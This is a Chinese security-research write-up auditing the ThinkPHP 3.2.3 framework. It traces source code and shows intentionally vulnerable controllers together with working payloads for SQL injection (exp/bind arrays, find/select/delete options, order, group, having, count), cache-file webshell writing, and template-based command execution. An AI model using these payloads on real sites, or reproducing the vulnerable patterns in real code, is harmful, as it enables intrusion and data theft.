参考链接
ThinkPHP3.2.3完整版
总结ThinkPHP v3的代码审计方法
敏信审计系列之THINKPHP3.2开发框架
Thinkphp多个版本注入分析
水文-Thinkphp3.2.3安全开发须知
cms组成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| ├─Application 项目目录 │ ├─Common 公共模块 │ │ ├─Common │ │ └─Conf │ ├─Home 前台模块 │ │ ├─Common 公共函数 │ │ ├─Conf 配置文件 │ │ ├─Controller 控制器 │ │ ├─Model 模型 │ │ └─View 视图 │ └─Runtime │ ├─Cache │ │ └─Home │ ├─Data │ ├─Logs │ │ └─Home │ └─Temp ├─Public 资源文件目录 └─ThinkPHP 框架目录 ├─Common ├─Conf ├─Lang ├─Library │ ├─Behavior │ ├─Org │ │ ├─Net │ │ └─Util │ ├─Think │ │ ├─Cache │ │ │ └─Driver │ │ ├─Controller │ │ ├─Crypt │ │ │ └─Driver │ │ ├─Db │ │ │ └─Driver │ │ ├─Image │ │ │ └─Driver │ │ ├─Log │ │ │ └─Driver │ │ ├─Model │ │ ├─Session │ │ │ └─Driver │ │ ├─Storage │ │ │ └─Driver │ │ ├─Template │ │ │ ├─Driver │ │ │ └─TagLib │ │ ├─Upload │ │ │ └─Driver │ │ │ ├─Bcs │ │ │ └─Qiniu │ │ └─Verify │ │ ├─bgs │ │ ├─ttfs │ │ └─zhttfs │ └─Vendor │ ├─Boris │ ├─EaseTemplate │ ├─Hprose │ ├─jsonRPC │ ├─phpRPC │ │ ├─dhparams │ │ └─pecl │ │ └─xxtea │ │ └─test │ ├─SmartTemplate │ ├─Smarty │ │ ├─plugins │ │ └─sysplugins │ ├─spyc │ │ ├─examples │ │ ├─php4 │ │ └─tests │ └─TemplateLite │ └─internal ├─Mode │ ├─Api │ ├─Lite │ └─Sae └─Tpl
|
在Application\Runtime\Logs\Home
中含有thinkphp的运行日志,运行日志放置在网站部署目录下,直接暴露于外部,可以让攻击者获取运行日志并进行分析

日志命名格式为年_月_日.log
,因此可以编写脚本进行批量获取
作为一个mvc框架的cms,重点应该关注项目目录即Application
(但是可以被设置成其他目录)
模型:封装与应用程序的业务逻辑相关的数据以及对数据的处理方法
视图:数据显示
控制器:处理用户交互,从视图读取数据,向模型发送数据,也是主要审计的点
参数传递
除了使用传统的$_GET
和$_POST
外,thinkphp新增了一个I
方法(function I
),用于安全地获取用户输入
使用方法如下
1 2 3
| 1. I('id',0); 获取id参数 自动判断get或者post 2. I('post.name','','htmlspecialchars'); 获取$_POST['name']并使用htmlspecialchars进行过滤 3. I('get.'); 获取$_GET
|
ThinkPHP/Common/functions.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157
|
function I($name,$default='',$filter=null,$datas=null) { static $_PUT = null; if(strpos($name,'/')){ list($name,$type) = explode('/',$name,2); }elseif(C('VAR_AUTO_STRING')){ $type = 's'; } if(strpos($name,'.')) { list($method,$name) = explode('.',$name,2); }else{ $method = 'param'; } switch(strtolower($method)) { case 'get' : $input =& $_GET; break; case 'post' : $input =& $_POST; break; case 'put' : if(is_null($_PUT)){ parse_str(file_get_contents('php://input'), $_PUT); } $input = $_PUT; break; case 'param' : switch($_SERVER['REQUEST_METHOD']) { case 'POST': $input = $_POST; break; case 'PUT': if(is_null($_PUT)){ parse_str(file_get_contents('php://input'), $_PUT); } $input = $_PUT; break; default: $input = $_GET; } break; case 'path' : $input = array(); if(!empty($_SERVER['PATH_INFO'])){ $depr = C('URL_PATHINFO_DEPR'); $input = explode($depr,trim($_SERVER['PATH_INFO'],$depr)); } break; case 'request' : $input =& $_REQUEST; break; case 'session' : $input =& $_SESSION; break; case 'cookie' : $input =& $_COOKIE; break; case 'server' : $input =& $_SERVER; break; case 'globals' : $input =& $GLOBALS; break; case 'data' : $input =& $datas; break; default: return null; } if(''==$name) { $data = $input; $filters = isset($filter)?$filter:C('DEFAULT_FILTER'); if($filters) { if(is_string($filters)){ $filters = explode(',',$filters); } foreach($filters as $filter){ $data = array_map_recursive($filter,$data); } } }elseif(isset($input[$name])) { $data = $input[$name]; $filters = isset($filter)?$filter:C('DEFAULT_FILTER'); if($filters) { if(is_string($filters)){ if(0 === strpos($filters,'/')){ if(1 !== preg_match($filters,(string)$data)){ return isset($default) ? $default : null; } }else{ $filters = explode(',',$filters); } }elseif(is_int($filters)){ $filters = array($filters); } if(is_array($filters)){ foreach($filters as $filter){ if(function_exists($filter)) { $data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); }else{ $data = filter_var($data,is_int($filter) ? $filter : filter_id($filter)); if(false === $data) { return isset($default) ? $default : null; } } } } } if(!empty($type)){ switch(strtolower($type)){ case 'a': $data = (array)$data; break; case 'd': $data = (int)$data; break; case 'f': $data = (float)$data; break; case 'b': $data = (boolean)$data; break; case 's': default: $data = (string)$data; } } }else{ $data = isset($default)?$default:null; } is_array($data) && array_walk_recursive($data,'think_filter'); return $data; }
function think_filter(&$value){
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){ $value .= ' '; } }
|
其他快捷方法
ThinkPHP/Common/functions.php
D
方法用于实例化模型类
M
方法用于实例化没有模型文件的Model
C
方法用于读取配置
在Application/Home/Model/UserModel.class.php
中写入
1 2 3 4 5 6 7
| <?php namespace Home\Model; use Think\Model; class UserModel extends Model { public $a='asdf'; }
|
在Application/Home/Controller/IndexController.class.php
中写入
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $User=new \Home\Model\UserModel(); var_dump($User->a); $User=D('User'); var_dump($User->a); $User=M('User'); var_dump($User->a); } }
|


1 2 3
| C:\phpstudy_pro\WWW\thinkphp_3.2.3\Application\Home\Controller\IndexController.class.php:7:string 'asdf' (length=4) C:\phpstudy_pro\WWW\thinkphp_3.2.3\Application\Home\Controller\IndexController.class.php:9:string 'asdf' (length=4) C:\phpstudy_pro\WWW\thinkphp_3.2.3\Application\Home\Controller\IndexController.class.php:11:null
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
|
function D($name='',$layer='') { if(empty($name)) return new Think\Model; static $_model = array(); $layer = $layer? : C('DEFAULT_M_LAYER'); if(isset($_model[$name.$layer])) return $_model[$name.$layer]; $class = parse_res_name($name,$layer); if(class_exists($class)) { $model = new $class(basename($name)); }elseif(false === strpos($name,'/')){ if(!C('APP_USE_NAMESPACE')){ import('Common/'.$layer.'/'.$class); }else{ $class = '\\Common\\'.$layer.'\\'.$name.$layer; } $model = class_exists($class)? new $class($name) : new Think\Model($name); }else { Think\Log::record('D方法实例化没找到模型类'.$class,Think\Log::NOTICE); $model = new Think\Model(basename($name)); } $_model[$name.$layer] = $model; return $model; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
function M($name='', $tablePrefix='',$connection='') { static $_model = array(); if(strpos($name,':')) { list($class,$name) = explode(':',$name); }else{ $class = 'Think\\Model'; } $guid = (is_array($connection)?implode('',$connection):$connection).$tablePrefix . $name . '_' . $class; if (!isset($_model[$guid])) $_model[$guid] = new $class($name,$tablePrefix,$connection); return $_model[$guid]; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
|
function C($name=null, $value=null,$default=null) { static $_config = array(); if (empty($name)) { return $_config; } if (is_string($name)) { if (!strpos($name, '.')) { $name = strtoupper($name); if (is_null($value)) return isset($_config[$name]) ? $_config[$name] : $default; $_config[$name] = $value; return null; } $name = explode('.', $name); $name[0] = strtoupper($name[0]); if (is_null($value)) return isset($_config[$name[0]][$name[1]]) ? $_config[$name[0]][$name[1]] : $default; $_config[$name[0]][$name[1]] = $value; return null; } if (is_array($name)){ $_config = array_merge($_config, array_change_key_case($name,CASE_UPPER)); return null; } return null; }
|
实例化一个空模型类即可进行sql查询
1 2 3 4 5 6 7 8
| namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $m = M(); $m->query('select user();'); } }
|


sql注入
双引号包裹导致变量被直接解析
严格来说,这个漏洞产生的原因在于开发者没有正确地使用框架
1 2 3 4 5 6 7 8 9 10
| <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $User = M("user"); $name = I('GET.name'); $res = $User->field('id,username,password')->where("username='$name'")->select(); } }
|
默认情况下I
方法只会对参数进行htmlspecialchars
即html编码,不会进行如addslashes
等操作

而在Model.class.php
的where
方法中,在parse
没有设置的情况下,不会进行escapeString
操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
|
public function where($where,$parse=null){ if(!is_null($parse) && is_string($where)) { if(!is_array($parse)) { $parse = func_get_args(); array_shift($parse); } $parse = array_map(array($this->db,'escapeString'),$parse); $where = vsprintf($where,$parse); }elseif(is_object($where)){ $where = get_object_vars($where); } if(is_string($where) && '' != $where){ $map = array(); $map['_string'] = $where; $where = $map; } if(isset($this->options['where'])){ $this->options['where'] = array_merge($this->options['where'],$where); }else{ $this->options['where'] = $where; } return $this; }
|


1 2 3 4 5 6 7 8 9 10
| <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $User = M("user"); $name = I('GET.name'); $res = $User->field('id,username,password')->where("username='%s'",$name)->select(); } }
|


还可以使用array("username"=>$name)
进行传参,在$this->parseWhere(!empty($options['where'])?$options['where']:''),
进行参数处理并进行escapeString
操作,具体流程如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144
|
public function select($options=array()) { $options = $this->_parseOptions($options); ... $resultSet = $this->db->select($options); ... }
public function select($options=array()) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $sql = $this->buildSelectSql($options); $result = $this->query($sql,!empty($options['fetch_sql']) ? true : false); return $result; }
public function buildSelectSql($options=array()) { ... $sql = $this->parseSql($this->selectSql,$options); }
public function parseSql($sql,$options=array()){ $sql = str_replace( array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'), array( $this->parseTable($options['table']), $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false), $this->parseField(!empty($options['field'])?$options['field']:'*'), $this->parseJoin(!empty($options['join'])?$options['join']:''), $this->parseWhere(!empty($options['where'])?$options['where']:''), $this->parseGroup(!empty($options['group'])?$options['group']:''), $this->parseHaving(!empty($options['having'])?$options['having']:''), $this->parseOrder(!empty($options['order'])?$options['order']:''), $this->parseLimit(!empty($options['limit'])?$options['limit']:''), $this->parseUnion(!empty($options['union'])?$options['union']:''), $this->parseLock(isset($options['lock'])?$options['lock']:false), $this->parseComment(!empty($options['comment'])?$options['comment']:''), $this->parseForce(!empty($options['force'])?$options['force']:'') ),$sql); return $sql; }
protected function parseWhere($where) { foreach ($where as $key=>$val){ if(0===strpos($key,'_')) { $whereStr .= $this->parseThinkWhere($key,$val); } else{ $multi = is_array($val) && isset($val['_multi']); $key = trim($key); ... $whereStr .= $this->parseWhereItem($this->parseKey($key),$val); } }
protected function parseWhereItem($key,$val) { $whereStr = ''; if(is_array($val)) { if(is_string($val[0])) { $exp = strtolower($val[0]); if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { ...$this->parseValue($val[1]); }elseif(preg_match('/^(notlike|like)$/',$exp)){ if(is_array($val[1])) { $likeLogic = isset($val[2])?strtoupper($val[2]):'OR'; if(in_array($likeLogic,array('AND','OR','XOR'))){ $like = array(); foreach ($val[1] as $item){ $like[] = ...$this->parseValue($item); } $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')'; } }else{ $whereStr .= ...$this->parseValue($val[1]); } }elseif('bind' == $exp ){ $whereStr .= $key.' = :'.$val[1]; }elseif('exp' == $exp ){ $whereStr .= $key.' '.$val[1]; }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ if(isset($val[2]) && 'exp'==$val[2]) { $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1]; }else{ ... } }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ ... }else{ E(L('_EXPRESS_ERROR_').':'.$val[0]); } }else { $count = count($val); $rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; if(in_array($rule,array('AND','OR','XOR'))) { $count = $count -1; }else{ $rule = 'AND'; } for($i=0;$i<$count;$i++) { $data = is_array($val[$i])?$val[$i][1]:$val[$i]; if('exp'==strtolower($val[$i][0])) { $whereStr .= $key.' '.$data.' '.$rule.' '; }else{ $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' '; } } $whereStr = '( '.substr($whereStr,0,-4).' )'; } }else { $likeFields = $this->config['db_like_fields']; if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) { $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%'); }else { $whereStr .= $key.' = '.$this->parseValue($val); } } return $whereStr; }
protected function parseValue($value) { if(is_string($value)) { $value = strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\''.$this->escapeString($value).'\''; }elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){ $value = $this->escapeString($value[1]); }elseif(is_array($value)) { $value = array_map(array($this, 'parseValue'),$value); }elseif(is_bool($value)){ $value = $value ? '1' : '0'; }elseif(is_null($value)){ $value = 'null'; } return $value; }
|
bind注入
前面提到在ThinkPHP/Library/Think/Db/Driver.class.php
的parseWhereItem
函数中,满足某些条件时可以绕过parseValue
的addslashes
处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| elseif('bind' == $exp ){ $whereStr .= $key.' = :'.$val[1]; }elseif('exp' == $exp ){ $whereStr .= $key.' '.$val[1]; } ... $count = count($val); $rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; if(in_array($rule,array('AND','OR','XOR'))) { $count = $count -1; }else{ $rule = 'AND'; } for($i=0;$i<$count;$i++) { $data = is_array($val[$i])?$val[$i][1]:$val[$i]; if('exp'==strtolower($val[$i][0])) { $whereStr .= $key.' '.$data.' '.$rule.' '; } }
|
传入name[]=exp
或者name[][]=exp
,debug时会发现字符串exp
会在后面增加一个空格


原因在于前面提到的I
的方法的特殊处理,在I
方法的最后调用了think_filter
这一过滤函数,在敏感词的后面加了一个空格
这里有两种处理方法
- 不使用
I
方法获取参数,直接使用$_GET
进行获取
$name = $_GET['name'];

name[]=exp&name[]==1 and updatexml(1,concat(0x7e,(select @@version),0x7e),1)

- 绕过
think_filter
限制
注意到在parseWhereItem
函数是会对bind
进行特殊处理的,但是think_filter
没有对bind
进行过滤,由此当name[]=bind
时,可以将数据
1 2 3 4 5 6 7 8 9 10 11 12
| is_array($data) && array_walk_recursive($data,'think_filter'); return $data; }
function think_filter(&$value){
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){ $value .= ' '; } }
|

最终得到的wherestr
为
由于=:
的存在,这玩意用来引用绑定变量,我们要消除:
对于sql语句的影响
- 使用
save
方法
thinkphp将update操作封装在save
方法中
1 2 3 4 5 6 7 8 9 10 11
| <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $User = M("user"); $name = I('GET.name'); $data['password'] = '123456'; $res = $User->where(array('username'=>$name))->save($data); } }
|
name[]=bind&name[]=0 and updatexml(1,concat(0x7e,(select @@version),0x7e),1)

save
方法同样会调用parseWhere
并进入到parseWhereItem
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public function save($data='',$options=array()) { ... if(is_array($options['where']) && isset($options['where'][$pk])){ $pkValue = $options['where'][$pk]; } if(false === $this->_before_update($data,$options)) { return false; } $result = $this->db->update($data,$options); if(false !== $result && is_numeric($result)) { if(isset($pkValue)) $data[$pk] = $pkValue; $this->_after_update($data,$options); } return $result; }
public function update($data,$options) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $table = $this->parseTable($options['table']); $sql = 'UPDATE ' . $table . $this->parseSet($data); if(strpos($table,',')){ $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:''); } $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:''); if(!strpos($table,',')){ $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'').$this->parseLimit(!empty($options['limit'])?$options['limit']:''); } $sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:''); return $this->execute($sql,!empty($options['fetch_sql']) ? true : false); }
|
首先在parseSet
对=:
进行解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| protected function parseSet($data) { foreach ($data as $key=>$val){ if(is_array($val) && 'exp' == $val[0]){ $set[] = $this->parseKey($key).'='.$val[1]; }elseif(is_null($val)){ $set[] = $this->parseKey($key).'=NULL'; }elseif(is_scalar($val)) { if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){ $set[] = $this->parseKey($key).'='.$this->escapeString($val); }else{ $name = count($this->bind); $set[] = $this->parseKey($key).'=:'.$name; $this->bindParam($name,$val); } } } return ' SET '.implode(',',$set); }
protected function bindParam($name,$value){ $this->bind[':'.$name] = $value; }
|

然后进行parseWhereItem
操作

此时wherestr
的值为
1
| `username` = :0 and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
|
在返回到parseWhere
后得到的wherestr
为
1
| WHERE `username` = :0 and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
|
此时$sql
为
1
| UPDATE `user` SET `password`=:0 WHERE `username` = :0 and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
|
最后进入到execute
函数中
1 2 3 4 5 6 7 8 9 10
| public function execute($str,$fetchSql=false) { ...
if(!empty($this->bind)){ $that = $this; $this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind)); }
... }
|

bind=array(':0'=>'123456')
首先通过array_map
对bind
数组的每个元素进行addslashes
操作,然后利用strtr
对$this->queryStr
进行替换(:0
被替换成123456
)

由此造成了sql注入
- 使用
delete
方法
这个利用方法比较奇怪…
查找parseWhere
的用法,除了update
方法外,还有delete
方法对其进行调用

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public function delete($options=array()) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $table = $this->parseTable($options['table']); $sql = 'DELETE FROM '.$table; if(strpos($table,',')){ if(!empty($options['using'])){ $sql .= ' USING '.$this->parseTable($options['using']).' '; } $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:''); } $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:''); if(!strpos($table,',')){ $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'') .$this->parseLimit(!empty($options['limit'])?$options['limit']:''); } $sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:''); return $this->execute($sql,!empty($options['fetch_sql']) ? true : false); }
|
但由于parseSet
在delete
方法中不存在,因此这里需要手动添加bind
1 2 3 4 5 6 7 8 9 10 11
| <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $User = M("user"); $name = I('GET.name'); $data['password']='123456'; $res = $User->where(array('username'=>$name))->bind($data)->delete(); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
|
public function bind($key,$value=false) { if(is_array($key)){ $this->options['bind'] = $key; }else{ $num = func_num_args(); if($num>2){ $params = func_get_args(); array_shift($params); $this->options['bind'][$key] = $params; }else{ $this->options['bind'][$key] = $value; } } return $this; }
|
name[]=bind&name[]=password and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
thinkphp构造出的sql语句为
1
| DELETE FROM `user` WHERE `username` = :'123456' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
|
实际执行语句为
1
| DELETE FROM `user` WHERE `username` = '123456' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
|


find() select() delete()注入
find() select() delete()
这三个函数的参数中均有$options
,且在满足一定条件时可以直接拼接到sql语句中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
|
public function find($options=array()) { ... $options['limit'] = 1; $options = $this->_parseOptions($options); ... $resultSet = $this->db->select($options); ... }
public function select($options=array()) { ... $options = $this->_parseOptions($options); ... $resultSet = $this->db->select($options); ... }
public function delete($options=array()) { ... $options = $this->_parseOptions($options); if(is_array($options['where']) && isset($options['where'][$pk])){ $pkValue = $options['where'][$pk]; }
if(false === $this->_before_delete($options)) { return false; } $result = $this->db->delete($options); ... }
protected function _parseOptions($options=array()) { if(is_array($options)) $options = array_merge($this->options,$options); if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { ... } return $options; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| public function select($options=array()) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $sql = $this->buildSelectSql($options); $result = $this->query($sql,!empty($options['fetch_sql']) ? true : false); return $result; }
public function buildSelectSql($options=array()) { ... $sql = $this->parseSql($this->selectSql,$options); return $sql; }
public function parseSql($sql,$options=array()){ $sql = str_replace( array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'), array( ... $this->parseWhere(!empty($options['where'])?$options['where']:''), ... ),$sql); return $sql; } protected function parseWhere($where) { $whereStr = ''; if(is_string($where)) { $whereStr = $where; } return empty($whereStr)?'':' WHERE '.$whereStr; }
public function delete($options=array()) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $table = $this->parseTable($options['table']); $sql = 'DELETE FROM '.$table; if(strpos($table,',')){ if(!empty($options['using'])){ $sql .= ' USING '.$this->parseTable($options['using']).' '; } $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:''); } $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:''); if(!strpos($table,',')){ $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'') .$this->parseLimit(!empty($options['limit'])?$options['limit']:''); } $sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:''); return $this->execute($sql,!empty($options['fetch_sql']) ? true : false); }
|
- find()
1 2 3 4 5 6 7 8 9 10
| <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $User = M("user"); $name = I('GET.name'); $User->find($name); } }
|
name[where]=updatexml(1,concat(0x7e,(select @@version),0x7e),1)%23

- select()
1 2 3 4 5 6 7 8 9 10
| <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $User = M("user"); $name = I('GET.name'); $User->select($name); } }
|

- delete()
1 2 3 4 5 6 7 8 9 10
| <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $User = M("user"); $name = I('GET.name'); $User->delete($name); } }
|

order by注入
1 2 3 4 5 6 7 8 9 10
| <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $User = M("user"); $order = I('GET.order'); $res = $User->order($order)->find(); } }
|
thinkphp通过__call
方法实现特殊方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
public function __call($method,$args) { if(in_array(strtolower($method),$this->methods,true)) { $this->options[strtolower($method)] = $args[0]; return $this; } ... }
|

$args[0]
没有经过任何过滤就被传入到$this->options['order']
中,而同样在parseOrder
中没有经过任何过滤就拼接到sql语句中
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| protected function parseOrder($order) { if(is_array($order)) { $array = array(); foreach ($order as $key=>$val){ if(is_numeric($key)) { $array[] = $this->parseKey($val); }else{ $array[] = $this->parseKey($key).' '.$val; } } $order = implode(',',$array); } return !empty($order)? ' ORDER BY '.$order:''; }
|
接下来的利用方法就跟前面提到的find()
注入差不多

group注入
1 2 3 4 5 6 7 8 9 10
| <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $User = M("user"); $group = I('GET.group'); $res = $User->group($group)->find(); } }
|
1 2 3
| protected function parseGroup($group) { return !empty($group)? ' GROUP BY '.$group:''; }
|
利用方法同上

having注入
1 2 3 4 5 6 7 8 9 10
| <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $User = M("user"); $having = I('GET.having'); $res = $User->having($having)->find(); } }
|
1 2 3
| protected function parseHaving($having) { return !empty($having)? ' HAVING '.$having:''; }
|
利用方法同上

count sum min max avg注入
1 2 3 4 5 6 7 8 9 10
| <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $User = M("user"); $count = I('GET.count'); $res = $User->count($count); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
|
public function aggregate($aggregate, $field, $force = false) { if (!preg_match('/^[\w\.\*]+$/', $field)) { throw new Exception('not support data:' . $field); }
$result = $this->value($aggregate . '(' . $field . ') AS tp_' . strtolower($aggregate), 0, $force);
return $result; }
public function count($field = '*') { if (isset($this->options['group'])) { if (!preg_match('/^[\w\.\*]+$/', $field)) { throw new Exception('not support data:' . $field); } $options = $this->getOptions(); $subSql = $this->options($options)->field('count(' . $field . ')')->bind($this->bind)->buildSql();
$count = $this->table([$subSql => '_group_count_'])->value('COUNT(*) AS tp_count', 0); } else { $count = $this->aggregate('COUNT', $field); }
return is_string($count) ? $count : (int) $count;
}
public function sum($field) { return $this->aggregate('SUM', $field, true); }
public function min($field, $force = true) { return $this->aggregate('MIN', $field, $force); }
public function max($field, $force = true) { return $this->aggregate('MAX', $field, $force); }
public function avg($field) { return $this->aggregate('AVG', $field, true); }
|
没有经过过滤就拼接到sql语句中

除此之外还有不少sql注入同样是由于开发者错误的将用户传入的参数传递给thinkphp
水文-Thinkphp3.2.3安全开发须知
缓存getshell
1 2 3 4 5 6 7 8 9
| <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $shell = I('GET.shell'); S('shell',$shell); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| function S($name,$value='',$options=null) { static $cache = ''; ... }elseif(empty($cache)) { $cache = Think\Cache::getInstance(); } ... else { if(is_array($options)) { $expire = isset($options['expire'])?$options['expire']:NULL; }else{ $expire = is_numeric($options)?$options:NULL; } return $cache->set($name, $value, $expire); } }
public function set($name,$value,$expire=null) { ... $filename = $this->filename($name); $data = serialize($value); if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) { $data = gzcompress($data,3); } $data = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>"; $result = file_put_contents($filename,$data); ... } private function filename($name) { $name = md5(C('DATA_CACHE_KEY').$name); ... else{ $filename = $this->options['prefix'].$name.'.php'; } return $this->options['temp'].$filename; }
|

文件名是$name
的md5
写入的数据经过了序列化

最终文件路径为./Application/Runtime/Temp/2591c98b70119fe624898b1e424b5e91.php

传入shell=%0aphpinfo();//


特殊情况下造成命令执行
$this->show
和$this->display
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $info = I('GET.info'); $this->show($info); $this->display('','','',$info); $info = I('GET.info','',''); $this->show($info); $this->display('','','',$info); } }
|
info=<?php system('whoami');?>

在Application/Runtime/Cache/Home
